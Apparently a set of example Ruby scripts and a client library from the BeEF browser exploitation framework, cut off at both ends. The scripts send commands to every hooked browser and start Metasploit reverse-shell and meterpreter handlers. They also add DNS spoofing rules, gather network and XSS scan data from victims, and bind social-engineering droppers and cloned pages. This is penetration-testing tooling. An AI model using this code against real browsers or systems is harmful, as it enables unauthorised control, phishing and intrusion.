proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve module categories
print_debug @api.categories
# Retrieve modules
modules = @api.modules.flatten
exit 1 if modules.empty?
print_debug modules
# Retrieve module details
modules.each do |m|
next if m['id'].nil?
print_status "Retrieving module details [id: #{m['id']}]"
details = @api.module_details(m['id'])
print_debug details
end
# Retrieve online hooked browser list
hooks = @api.online_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Execute alert dialog on all online browsers
mod_id = @api.get_module_id "Alert_dialog"
hooks.each do |hook|
next if hook['id'].nil?
print_status "Executing module [id: #{mod_id}, browser: #{hook['id']}]"
result = @api.execute_module(hook['session'], mod_id, { "text" => "hello!" })
print_debug result
end |
|
beef/tools/rest_api_examples/dns | #!/usr/bin/env ruby
# dns - Example BeEF RESTful API script
# Retrieves DNS rule set
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Add a rule
print_status "Adding a DNS rule"
pattern = 'beefproject.com'
resource = 'A'
response = ['127.0.0.1', '127.0.0.2']
result = @api.dns_add_rule(pattern, resource, response)
print_debug result
id = result['id']
# Retrieve ruleset
print_status "Retrieving DNS rule set"
rules = @api.dns_ruleset
print_debug rules
# Retrieve rule details
print_status "Retrieving details for rule [id: #{id}]"
rule = @api.dns_get_rule(id)
print_debug rule
print_status "Deleting rule [id: #{id}]"
result = @api.dns_delete_rule(id)
print_debug result
# Retrieve ruleset
print_status "Retrieving DNS rule set"
rules = @api.dns_ruleset
print_debug rules |
|
beef/tools/rest_api_examples/export-logs | #!/usr/bin/env ruby
# export-logs - Example BeEF RESTful API script
# Retrieves BeEF logs and logs for all online hooked browsers
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve BeEF logs
logs = @api.logs
print_debug logs
logs['logs'].each do |log|
next if log['id'].nil?
print_verbose "#{log['date']} - #{log['event']}"
end
# Retrieve online hooked browser list
hooks = @api.online_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Retrieve hooked browser logs
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving logs for browser [id: #{hook['id']}]"
logs = @api.browser_logs(hook['session'])
print_debug logs
logs['logs'].each do |log|
next if log['id'].nil?
print_verbose "#{log['date']} - #{log['event']}"
end
end |
|
beef/tools/rest_api_examples/metasploit | #!/usr/bin/env ruby
# metasploit - Example BeEF RESTful API script
# Starts some Metasploit payload handlers;
# lists all running metasploit jobs;
# then stops the payload handlers.
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api' # API
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve Metasploit version
@api.msf_version
# Start payload handlers
handlers = [
@api.msf_handler( {'PAYLOAD'=>'generic/shell_reverse_tcp', 'LPORT' => '6666', 'LHOST' => host} ),
@api.msf_handler( {'PAYLOAD'=>'cmd/unix/reverse', 'LPORT' => '6010', 'LHOST' => host} ),
@api.msf_handler( {'PAYLOAD'=>'linux/x86/meterpreter/reverse_tcp', 'LPORT' => '6020', 'LHOST'=> host} ),
@api.msf_handler( {'PAYLOAD'=>'windows/meterpreter/reverse_tcp', 'LPORT' => '6030', 'LHOST'=> host} )
]
# Retrieve msf jobs
jobs = @api.msf_jobs
print_debug jobs
# Retrieve msf job details
jobs.each do |job_id,job_name|
next if job_id !~ /\A\d+\Z/
print_status "Retrieving details for Metasploit job [id: #{job_id}] [#{job_name}]"
details = @api.msf_job_info(job_id)
print_debug details
end
# Stop payload handlers
handlers.each do |handler_id|
print_debug @api.msf_job_stop handler_id
end |
|
beef/tools/rest_api_examples/network | #!/usr/bin/env ruby
# network - Example BeEF RESTful API script
# Retrieves details for all identified network hosts and network services
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve all network hosts
hosts = @api.network_hosts_all
print_debug hosts
# Retrieve all network services
services = @api.network_services_all
print_debug services
# Retrieve online hooked browser list
hooks = @api.online_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Retrieve network hosts for each hooked browser
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving network hosts for browser [id: #{hook['id']}]"
hosts = @api.network_hosts(hook['session'])
print_debug hosts
hosts['hosts'].each do |host|
next if host['id'].nil?
print_verbose "#{host['ip']}" + (" - #{host['type']}" unless host['type'].nil?).to_s
end
end
# Retrieve network services for each hooked browser
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving network services for browser [id: #{hook['id']}]"
services = @api.network_services(hook['session'])
print_debug services
services['services'].each do |service|
next if service['id'].nil?
print_verbose "#{service['ip']}:#{service['port']}" + (" - #{service['type']}" unless service['type'].nil?).to_s
end
end |
|
beef/tools/rest_api_examples/remove-offline-browsers | #!/usr/bin/env ruby
# remove-offline-browsers - Example BeEF RESTful API script
# Removes offline browsers from the database
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve online hooked browser list
hooks = @api.offline_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Remove each offline browser
hooks.each do |hook|
next if hook['id'].nil?
print_status "Removing hooked browser [id: #{hook['id']}]"
details = @api.delete_browser(hook['session'])
print_debug details
end |
|
beef/tools/rest_api_examples/webrtc | #!/usr/bin/env ruby
# webrtc - Example BeEF RESTful API script
# Retrieves browser details and logs for all online hooked browsers
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve online hooked browser list
hooks = @api.online_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Retrieve hooked browser details
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving WebRTC status for browser [id: #{hook['id']}]"
details = @api.webrtc_status(hook['id'])
print_debug details
print_verbose details['success']
end |
|
beef/tools/rest_api_examples/xssrays | #!/usr/bin/env ruby
# xssrays - Example BeEF RESTful API script
# Refer to the wiki for info: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
##
require 'rest-client'
require 'json'
require 'optparse'
require 'pp'
require './lib/string' # colored strings
require './lib/print' # print wrappers
require './lib/beef_rest_api'
if ARGV.length == 0
puts "#{$0}:"
puts "| Example BeEF RESTful API script"
puts "| Use --help for help"
puts "|_ Use verbose mode (-v) and debug mode (-d) for more output"
exit 1
end
# API config
proto = 'http'
host = '127.0.0.1'
port = '3000'
user = 'beef'
pass = 'beef'
# Command line options
@debug = false
@verbose = false
OptionParser.new do |opts|
opts.on('-h', '--help', 'Shows this help screen') do
puts opts
exit 1
end
opts.on('--host HOST', "Set BeEF host (default: #{host})") do |h|
host = h
end
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
port = p
end
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
user = u
end
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
pass = p
end
opts.on('--ssl', 'Use HTTPS') do
proto = 'https'
end
opts.on('-v', '--verbose', 'Enable verbose output') do
@verbose = true
end
opts.on('-d', '--debug', 'Enable debug output') do
@debug = true
end
end.parse!
@api = BeefRestAPI.new proto, host, port, user, pass
# Retrieve the RESTful API token
print_status "Authenticating to: #{proto}://#{host}:#{port}"
@api.auth
# Retrieve BeEF version
@api.version
# Retrieve all scans
scans = @api.xssrays_scans_all
print_debug scans
# Retrieve all rays
rays = @api.xssrays_rays_all
print_debug rays
# Retrieve online hooked browser list
hooks = @api.online_browsers.flatten
exit 1 if hooks.empty?
print_debug hooks
# Retrieve rays for each hooked browser
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving rays for browser [id: #{hook['id']}]"
rays = @api.xssrays_rays(hook['session'])
print_debug rays
rays['rays'].each do |ray|
next if ray['id'].nil?
print_verbose "#{ray['vector_name']} (#{ray['vector_method']})"
end
end
# Retrieve scans for each hooked browser
hooks.each do |hook|
next if hook['id'].nil?
print_status "Retrieving scans for browser [id: #{hook['id']}]"
scans = @api.xssrays_scans(hook['session'])
print_debug scans
scans['scans'].each do |scan|
next if scan['id'].nil?
print_verbose "Scan [#{scan['id']}] on domain #{scan['domain']}"
end
end |
|
Ruby | beef/tools/rest_api_examples/lib/beef_rest_api.rb | class BeefRestAPI
# initialize
def initialize proto = 'https', host = '127.0.0.1', port = '3000', user = 'beef', pass = 'beef'
@user = user
@pass = pass
@url = "#{proto}://#{host}:#{port}/api/"
@token = nil
end
################################################################################
### BeEF core API
################################################################################
# authenticate and get API token
def auth
print_verbose "Retrieving authentication token"
begin
response = RestClient.post "#{@url}admin/login",
{ 'username' => "#{@user}",
'password' => "#{@pass}" }.to_json,
:content_type => :json,
:accept => :json
result = JSON.parse(response.body)
@token = result['token']
print_good "Retrieved RESTful API token: #{@token}"
rescue => e
print_error "Could not retrieve RESTful API token: #{e.message}"
end
end
# get BeEF version
def version
begin
response = RestClient.get "#{@url}server/version", {:params => {:token => @token}}
result = JSON.parse(response.body)
print_good "Retrieved BeEF version: #{result['version']}"
result['version']
rescue => e
print_error "Could not retrieve BeEF version: #{e.message}"
end
end
# get server mounts
def mounts
begin
response = RestClient.get "#{@url}server/mounts", {:params => {:token => @token}}
result = JSON.parse(response.body)
print_good "Retrieved BeEF server mounts: #{result['mounts']}"
result['mounts']
rescue => e
print_error "Could not retrieve BeEF version: #{e.message}"
end
end
# get online hooked browsers
def online_browsers
begin
print_verbose "Retrieving online browsers"
response = RestClient.get "#{@url}hooks", {:params => {:token => @token}}
result = JSON.parse(response.body)
browsers = result["hooked-browsers"]["online"]
print_good "Retrieved online browser list [#{browsers.size} online]"
browsers
rescue => e
print_error "Could not retrieve browser details: #{e.message}"
end
end
# get offline hooked browsers
def offline_browsers
begin
print_verbose "Retrieving offline browsers"
response = RestClient.get "#{@url}hooks", {:params => {:token => @token}}
result = JSON.parse(response.body)
browsers = result["hooked-browsers"]["offline"]
print_good "Retrieved offline browser list [#{browsers.size} offline]"
browsers
rescue => e
print_error "Could not retrieve browser details: #{e.message}"
end
end
# get hooked browser details by session
def browser_details session
begin
print_verbose "Retrieving browser details for hooked browser [session: #{session}]"
response = RestClient.get "#{@url}browserdetails/#{session}", {:params => {:token => @token}}
result = JSON.parse(response.body)
details = result['details']
print_good "Retrieved #{details.size} browser details"
details
rescue => e
print_error "Could not retrieve browser details: #{e.message}"
end
end
# delete a browser by session
def delete_browser session
begin
print_verbose "Removing hooked browser [session: #{session}]"
response = RestClient.get "#{@url}hooks/#{session}/delete", {:params => {:token => @token}}
print_good "Removed browser [session: #{session}]" if response.code == 200
response
rescue => e
print_error "Could not delete hooked browser: #{e.message}"
end
end
# get BeEF logs
def logs
begin
print_verbose "Retrieving logs"
response = RestClient.get "#{@url}logs", {:params => {:token => @token}}
logs = JSON.parse(response.body)
print_good "Retrieved #{logs['logs_count']} log entries"
logs
rescue => e
print_error "Could not retrieve logs: #{e.message}"
end
end
# get hooked browser logs by session
def browser_logs session
begin
print_verbose "Retrieving browser logs [session: #{session}]"
response = RestClient.get "#{@url}logs/#{session}", {:params => {:token => @token}}
logs = JSON.parse(response.body)
print_good "Retrieved #{logs['logs'].size} browser logs"
logs
rescue => e
print_error "Could not retrieve browser logs: #{e.message}"
end
end
################################################################################
### command module API
################################################################################
# get command module categories
def categories
begin
print_verbose "Retrieving module categories"
response = RestClient.get "#{@url}categories", {:params => {:token => @token}}
categories = JSON.parse(response.body)
print_good "Retrieved #{categories.size} module categories"
categories
rescue => e
print_error "Could not retrieve logs: #{e.message}"
end
end
# get command modules
def modules
begin
print_verbose "Retrieving modules"
response = RestClient.get "#{@url}modules", {:params => {:token => @token}}
@modules = JSON.parse(response.body)
print_good "Retrieved #{@modules.size} available command modules"
@modules
rescue => e
print_error "Could not retrieve modules: #{e.message}"
end
end
# get module id by module short name
def get_module_id mod_name
print_verbose "Retrieving id for module [name: #{mod_name}]"
@modules.each do |mod|
# normal modules
if mod_name.capitalize == mod[1]["class"]
return mod[1]["id"]
break
# metasploit modules
elsif mod[1]["class"] == "Msf_module" && mod_name.capitalize == mod[1]["name"]
return mod[1]["id"]
break
end
end
nil
end
# get command module details
def module_details id
begin
print_verbose "Retrieving details for command module [id: #{id}]"
response = RestClient.get "#{@url}modules/#{id}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved details for module [#{details['name']}]"
details
rescue => e
print_error "Could not retrieve modules: #{e.message}"
end
end
# execute module
def execute_module session, mod_id, options
print_verbose "Executing module [id: #{mod_id}, #{options}]"
begin
response = RestClient.post "#{@url}modules/#{session}/#{mod_id}?token=#{@token}", options.to_json,
:content_type => :json,
:accept => :json
result = JSON.parse(response.body)
if result['success'] == 'true'
print_good "Executed module [id: #{mod_id}]"
else
print_error "Could not execute module [id: #{mod_id}]"
end
result
rescue => e
print_error "Could not start payload handler: #{e.message}"
end
end
################################################################################
### Metasploit API
################################################################################
# get metasploit version
def msf_version
begin
response = RestClient.get "#{@url}msf/version", {:params => {:token => @token}}
result = JSON.parse(response.body)
version = result['version']['version']
print_good "Retrieved Metasploit version: #{version}"
version
rescue => e
print_error "Could not retrieve Metasploit version: #{e.message}"
end
end
# get metasploit jobs
def msf_jobs
begin
response = RestClient.get "#{@url}msf/jobs", {:params => {:token => @token}}
result = JSON.parse(response.body)
jobs = result['jobs']
print_good "Retrieved job list [#{jobs.size} jobs]"
jobs
rescue => e
print_error "Could not retrieve Metasploit job list: #{e.message}"
end
end
# get metasploit job info
def msf_job_info id
begin
response = RestClient.get "#{@url}msf/job/#{id}/info", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved job information [id: #{id}]"
details
rescue => e
print_error "Could not retrieve job info: #{e.message}"
end
end
# start metasploit payload handler
def msf_handler options
print_verbose "Starting Metasploit payload handler [#{options}]"
begin
response = RestClient.post "#{@url}msf/handler?token=#{@token}", options.to_json,
:content_type => :json,
:accept => :json
result = JSON.parse(response.body)
job_id = result['id']
if job_id.nil?
print_error "Could not start payload handler: Job id is nil"
else
print_good "Started payload handler [id: #{job_id}]"
end
job_id
rescue => e
print_error "Could not start payload handler: #{e.message}"
end
end
# stop metasploit job
def msf_job_stop id
print_verbose "Stopping Metasploit job [id: #{id}]"
begin
response = RestClient.get "#{@url}msf/job/#{id}/stop", {:params => {:token => @token}}
result = JSON.parse(response.body)
if result['success'].nil?
print_error "Could not stop Metasploit job [id: #{id}]: No such job ?"
else
print_good "Stopped job [id: #{id}]"
end
result
rescue => e
print_error "Could not stop Metasploit job [id: #{id}]: #{e.message}"
end
end
################################################################################
### Network API
################################################################################
# get all network hosts
def network_hosts_all
begin
print_verbose "Retrieving all network hosts"
response = RestClient.get "#{@url}network/hosts", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} network hosts"
details
rescue => e
print_error "Could not retrieve network hosts: #{e.message}"
end
end
# get all network services
def network_services_all
begin
print_verbose "Retrieving all network services"
response = RestClient.get "#{@url}network/services", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} network services"
details
rescue => e
print_error "Could not retrieve network services: #{e.message}"
end
end
# get network hosts by session
def network_hosts session
begin
print_verbose "Retrieving network hosts for hooked browser [session: #{session}]"
response = RestClient.get "#{@url}network/hosts/#{session}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} network hosts"
details
rescue => e
print_error "Could not retrieve network hosts: #{e.message}"
end
end
# get network services by session
def network_services session
begin
print_verbose "Retrieving network services for hooked browser [session: #{session}]"
response = RestClient.get "#{@url}network/services/#{session}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} network services"
details
rescue => e
print_error "Could not retrieve network services: #{e.message}"
end
end
################################################################################
### XssRays API
################################################################################
# get all rays
def xssrays_rays_all
print_verbose "Retrieving all rays"
response = RestClient.get "#{@url}xssrays/rays", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} rays"
details
rescue => e
print_error "Could not retrieve rays: #{e.message}"
end
# get rays by session
def xssrays_rays session
print_verbose "Retrieving rays for hooked browser [session: #{session}]"
response = RestClient.get "#{@url}xssrays/rays/#{session}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} rays"
details
rescue => e
print_error "Could not retrieve rays: #{e.message}"
end
# get all scans
def xssrays_scans_all
print_verbose "Retrieving all scans"
response = RestClient.get "#{@url}xssrays/scans", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} scans"
details
rescue => e
print_error "Could not retrieve scans: #{e.message}"
end
# get scans by session
def xssrays_scans session
print_verbose "Retrieving scans for hooked browser [session: #{session}]"
response = RestClient.get "#{@url}xssrays/scans/#{session}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} scans"
details
rescue => e
print_error "Could not retrieve scans: #{e.message}"
end
################################################################################
### DNS API
################################################################################
# get ruleset
def dns_ruleset
begin
print_verbose "Retrieving DNS ruleset"
response = RestClient.get "#{@url}dns/ruleset", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved #{details['count']} rules"
details
rescue => e
print_error "Could not retrieve DNS ruleset: #{e.message}"
end
end
# add a rule
def dns_add_rule(dns_pattern, dns_resource, dns_response)
dns_response = [dns_response] if dns_response.is_a?(String)
print_verbose "Adding DNS rule [pattern: #{dns_pattern}, resource: #{dns_resource}, response: #{dns_response}]"
response = RestClient.post "#{@url}dns/rule?token=#{@token}", {
'pattern' => dns_pattern,
'resource' => dns_resource,
'response' => dns_response }.to_json,
:content_type => :json,
:accept => :json
details = JSON.parse(response.body)
rule_id = details['id']
if rule_id.nil?
print_error("Could not add DNS rule: #{details['error']}")
return details
end
print_good "Added rule [id: #{details['id']}]"
details
rescue => e
print_error "Could not add DNS rule: #{e.message}"
end
# get rule details
def dns_get_rule(id)
begin
print_verbose "Retrieving DNS rule details [id: #{id}]"
response = RestClient.get "#{@url}dns/rule/#{id}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved rule [id: #{details['id']}]"
details
rescue => e
print_error "Could not retrieve DNS rule: #{e.message}"
end
end
# delete a rule
def dns_delete_rule(id)
response = RestClient.delete "#{@url}dns/rule/#{id}?token=#{@token}"
details = JSON.parse(response.body)
print_good "Deleted rule [id: #{id}]"
details
rescue => e
print_error "Could not delete DNS rule: #{e.message}"
end
################################################################################
### Autorun
################################################################################
def autorun_rules
print_verbose "Retrieving Autorun rules"
response = RestClient.get "#{@url}autorun/rules", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good("Retrieved #{details['count']} rules")
details
rescue => e
print_error("Could not retrieve Autorun rules: #{e.message}")
end
def autorun_delete_rule(id)
print_verbose "Deleting Autorun rule with ID: #{id}"
response = RestClient.delete "#{@url}autorun/rule/#{id}?token=#{@token}"
details = JSON.parse(response.body)
print_good("Deleted rule [id: #{id}]")
details
rescue => e
print_error("Could not delete Autorun rule: #{e.message}")
end
def autorun_add_rule(data)
print_verbose "Adding Autorun rule: #{data}"
response = RestClient.post "#{@url}autorun/rule/add?token=#{@token}",
data.to_json,
:content_type => :json,
:accept => :json
details = JSON.parse(response.body)
rule_id = details['rule_id']
if rule_id.nil?
print_error("Could not add Autorun rule: #{details['error']}")
return details
end
print_good("Added rule [id: #{details['id']}]")
details
rescue => e
print_error("Could not add Autorun rule: #{e.message}")
end
def autorun_run_rule_on_all_browsers(rule_id)
print_verbose "Running Autorun rule #{rule_id} on all browsers"
response = RestClient.get "#{@url}autorun/run/#{rule_id}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_debug details
print_good('Done')
details
rescue => e
print_error "Could not run Autorun rule #{rule_id}: #{e.message}"
end
def autorun_run_rule_on_browser(rule_id, hb_id)
print_verbose "Running Autorun rule #{rule_id} on browser #{hb_id}"
response = RestClient.get "#{@url}autorun/run/#{rule_id}/#{hb_id}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good('Done')
details
rescue => e
print_error "Could not run Autorun rule #{rule_id}: #{e.message}"
end
################################################################################
### WebRTC
################################################################################
# get webrtc status for hooked browser by session
def webrtc_status id
begin
print_verbose "Retrieving status for hooked browser [id: #{id}]"
response = RestClient.get "#{@url}webrtc/status/#{id}", {:params => {:token => @token}}
details = JSON.parse(response.body)
print_good "Retrieved status for hooked browser [id: #{id}]"
details
rescue => e
print_error "Could not retrieve status: #{e.message}"
end
end
################################################################################
### Social Engineering
################################################################################
# bind dropper to path
def bind(fname, path)
print_verbose "Binding 'extensions/social_engineering/droppers/#{fname}' to '#{path}'"
begin
response = RestClient.post "#{@url}/server/bind?token=#{@token}",
{ 'mount' => "#{path}",
'local_file' => "#{fname}" }.to_json,
:content_type => :json,
:accept => :json
print_good "Bound '#{fname}' successfully" if response.code == 200
rescue => e
print_error "Could not bind file #{fname}: #{e.message}"
end
end
# clone page and bind to path
def clone_page(url, path, use_existing, dns_spoof)
print_verbose "Binding '#{url}' to '#{path}'"
begin
response = RestClient.post "#{@url}/seng/clone_page?token=#{@token}",
{ 'mount' => "#{path}",
'url' => "#{url}",
'use_existing' => use_existing,
'dns_spoof' => dns_spoof }.to_json,
:content_type => :json,
:accept => :json
print_good "Bound '#{url}' successfully" if response.code == 200
rescue => e
print_error "Could not bind URL #{url}: #{e.message}"
end
end
end |
Ruby | beef/tools/rest_api_examples/lib/print.rb | # print wrappers
def print_debug s
pp s if @debug
end
def print_verbose s
puts "[*] #{s}".gray if @verbose
end
def print_status s
